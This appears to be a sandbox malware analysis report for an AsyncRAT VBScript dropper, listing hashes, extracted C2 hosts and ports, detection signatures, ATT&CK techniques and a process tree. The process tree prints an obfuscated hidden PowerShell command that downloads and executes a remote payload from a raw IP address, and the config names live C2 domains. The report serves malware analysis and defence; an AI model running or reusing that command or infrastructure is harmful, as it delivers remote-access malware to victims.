asyncrat | 7b73596346a36f83b6b540bfc2b779fec228a050e6d7de631d0518b526b9b128

Analysis

max time kernel
259s
max time network
299s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
08-07-2024 17:53

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

fsp.vbs
Size

10KB
MD5

c9f569bd4a2bdec00f03b7e30f47a8dd
SHA1

2cdd9694e58e8f3c9c8607f5cc6e31d10b482c32
SHA256

7b73596346a36f83b6b540bfc2b779fec228a050e6d7de631d0518b526b9b128
SHA512

98d631ad7749c3b7ebd02da6a00796f66951d42f9142fc1bb459904da253f8c90e974a491d4f1e1364f786a8ae8022080a24840260b01f73fd73e8c0fe9a54cd
SSDEEP

48:/L2tePUutEk+hDnqhdN6+W0K00ah0ZBjAPa:T2kPUGxwqhdN6l0K00xoi

Score

10^/10

asyncrat hema execution rat

Malware Config

Extracted

Family

asyncrat

Version

AWS | RxR

Botnet

Hema

lolroot.duckdns.org:6606

lolroot.duckdns.org:7707

lolroot.duckdns.org:8808

storeroot.duckdns.org:6606

storeroot.duckdns.org:7707

storeroot.duckdns.org:8808

storexroot.duckdns.org:6606

storexroot.duckdns.org:7707

storexroot.duckdns.org:8808

Mutex

AsyncMutex_9eurjf40i8eurjfiekfj

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/2924-75-0x0000000007660000-0x0000000007740000-memory.dmp	WebBrowserPassView

Nirsoft 1 IoCs

resource	yara_rule
behavioral2/memory/2924-75-0x0000000007660000-0x0000000007740000-memory.dmp	Nirsoft

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	3088	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3088	powershell.exe
4572	powershell.exe
2312	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4572 set thread context of 2924	4572	powershell.exe	81
PID 2312 set thread context of 372	2312	powershell.exe	87

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3088	powershell.exe
3088	powershell.exe
3088	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
2924	RegSvcs.exe
2312	powershell.exe
2312	powershell.exe
2312	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3088	powershell.exe
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeDebugPrivilege	2924	RegSvcs.exe
Token: SeDebugPrivilege	2312	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2924	RegSvcs.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 3580 wrote to memory of 3752	3580	WScript.exe	74
PID 3580 wrote to memory of 3752	3580	WScript.exe	74
PID 3752 wrote to memory of 3088	3752	cmd.exe	76
PID 3752 wrote to memory of 3088	3752	cmd.exe	76
PID 4812 wrote to memory of 4544	4812	WScript.exe	78
PID 4812 wrote to memory of 4544	4812	WScript.exe	78
PID 4544 wrote to memory of 4572	4544	cmd.exe	80
PID 4544 wrote to memory of 4572	4544	cmd.exe	80
PID 4572 wrote to memory of 2924	4572	powershell.exe	81
PID 4572 wrote to memory of 2924	4572	powershell.exe	81
PID 4572 wrote to memory of 2924	4572	powershell.exe	81
PID 4572 wrote to memory of 2924	4572	powershell.exe	81
PID 4572 wrote to memory of 2924	4572	powershell.exe	81
PID 4572 wrote to memory of 2924	4572	powershell.exe	81
PID 4572 wrote to memory of 2924	4572	powershell.exe	81
PID 4572 wrote to memory of 2924	4572	powershell.exe	81
PID 1328 wrote to memory of 1732	1328	WScript.exe	84
PID 1328 wrote to memory of 1732	1328	WScript.exe	84
PID 1732 wrote to memory of 2312	1732	cmd.exe	86
PID 1732 wrote to memory of 2312	1732	cmd.exe	86
PID 2312 wrote to memory of 372	2312	powershell.exe	87
PID 2312 wrote to memory of 372	2312	powershell.exe	87
PID 2312 wrote to memory of 372	2312	powershell.exe	87
PID 2312 wrote to memory of 372	2312	powershell.exe	87
PID 2312 wrote to memory of 372	2312	powershell.exe	87
PID 2312 wrote to memory of 372	2312	powershell.exe	87
PID 2312 wrote to memory of 372	2312	powershell.exe	87
PID 2312 wrote to memory of 372	2312	powershell.exe	87

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fsp.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='VAN(''http://23.26.108.141:888/zohre.jpg'')'.RePLACe('VAN','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='VAN(''http://23.26.108.141:888/zohre.jpg'')'.RePLACe('VAN','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3088

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\roox.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:4812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\roox.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\roox.ps1'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4572
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:2924

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\roox.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\roox.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\roox.ps1'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2312
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      PID:372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
d737fc27bbf2f3bd19d1706af83dbe3f

SHA1
212d219394124968b50769c371121a577d973985

SHA256
b96b55a2acd9c790092e8132b31e5f0110492f98828098112d46f2f9faa2b982

SHA512
974c2db081dd6d1f45763371c41e01173b189ea1a2d893d0bc415670bfa12f3934ba9dea64018b8c063017454d4d92888d6fe6eaad1659e420ba9adcde5e788b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4c4e36b006a0b8f591fb713188de2038

SHA1
ddadb2994aed824a61eaa5a12db3c24e71b41554

SHA256
ff9590fec79a6bccc0cd70f9ef88433d8407f7828b76643bbcc2dfe8974236b8

SHA512
d7815b9298ab0ce0f5659f793160d97701d00ad97ddae62662df7f490aa7d0eddfbaa0f8f201076c66f2fc9a764ea656842d4e2d1ae5796ca674d23d7e9cde8e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2e3068968e808528b95ab643cd87ebe2

SHA1
1e0ccfcc7a015132d105484da078644f9cc453a5

SHA256
9942369b93614a6fe3daf4614a7c47813e2df827e69c34a2104eb9270442dced

SHA512
39a04a5b9348fd3b285697df2063d2b8d0edd49f15468f5274702f78a679e99ed40006b26d84a6367ef8e7b8cc0ae7188c831b0a288265070b9a0d2b719cdad8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dendhkq4.sq0.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Public\roox.bat

Filesize
195B

MD5
0344d401c7266a2bc6d19f5a2bc90040

SHA1
d3bf5a4b55b523429f3c7cb58ffa19504bececfc

SHA256
a3a38fb5090f5b9c951160d60d2fcd0e4488b3e72b1823fc17ef34a15fe9dab7

SHA512
59b448d02dadd2934abf88c40e25fec741724112e1320770b06df9b862643f2eba9cedee9d58244145fbece6d0d366380d6d2d6b56082a97649683ca10f9bc07

Download Submit
C:\Users\Public\roox.ps1

Filesize
704KB

MD5
ddf4e48ffb86d26dab3211c61fbfa860

SHA1
0a4b84e17fd68c86e11b37f1889a159408a12211

SHA256
062254d6904583a767b6662a16977c7f90e0c16d08fbc499f2ee18a9a26af5ec

SHA512
da62656a3c5468127304dea22c08f622b3b4bd703f3606619fdae3cddf182d80945358bda5ba87d1788cc9db7e48c8edacb36ff9c81e0d30935c85ece888ccd6

Download Submit
C:\Users\Public\roox.vbs

Filesize
686B

MD5
a0a3c05080df4421295e559291304405

SHA1
286e02a003b7e26a381e41d2127ffb0ed371f5b4

SHA256
22889b8d447ea679e8b2fb27eca95d0f04056203c9214818758b0a21379ea323

SHA512
ee9971cda442f9dd305e0810babd0a5f94589a966b2a4f10421b341d6e7914fed3f2a12821dc56d338f7ec5ba9a38830727d0e17fd18257e45ebabd7612e99b4

Download Submit
memory/2924-69-0x00000000068E0000-0x000000000697C000-memory.dmp

Filesize
624KB

Download
memory/2924-71-0x00000000073D0000-0x0000000007446000-memory.dmp

Filesize
472KB

Download
memory/2924-75-0x0000000007660000-0x0000000007740000-memory.dmp

Filesize
896KB

Download
memory/2924-74-0x00000000074D0000-0x00000000074DA000-memory.dmp

Filesize
40KB

Download
memory/2924-73-0x00000000074A0000-0x00000000074BE000-memory.dmp

Filesize
120KB

Download
memory/2924-72-0x0000000007360000-0x00000000073CA000-memory.dmp

Filesize
424KB

Download
memory/2924-70-0x0000000006980000-0x00000000069E6000-memory.dmp

Filesize
408KB

Download
memory/2924-61-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/2924-64-0x0000000005C30000-0x000000000612E000-memory.dmp

Filesize
5.0MB

Download
memory/2924-65-0x00000000058D0000-0x0000000005962000-memory.dmp

Filesize
584KB

Download
memory/2924-66-0x0000000005830000-0x000000000583A000-memory.dmp

Filesize
40KB

Download
memory/3088-3-0x00007FF891AE3000-0x00007FF891AE4000-memory.dmp

Filesize
4KB

Download
memory/3088-34-0x00007FF891AE0000-0x00007FF8924CC000-memory.dmp

Filesize
9.9MB

Download
memory/3088-10-0x000001D833A70000-0x000001D833AE6000-memory.dmp

Filesize
472KB

Download
memory/3088-11-0x00007FF891AE0000-0x00007FF8924CC000-memory.dmp

Filesize
9.9MB

Download
memory/3088-12-0x00007FF891AE0000-0x00007FF8924CC000-memory.dmp

Filesize
9.9MB

Download
memory/3088-27-0x00007FF891AE0000-0x00007FF8924CC000-memory.dmp

Filesize
9.9MB

Download
memory/3088-5-0x000001D833940000-0x000001D833962000-memory.dmp

Filesize
136KB

Download
memory/4572-60-0x0000015DED520000-0x0000015DED53A000-memory.dmp

Filesize
104KB

Download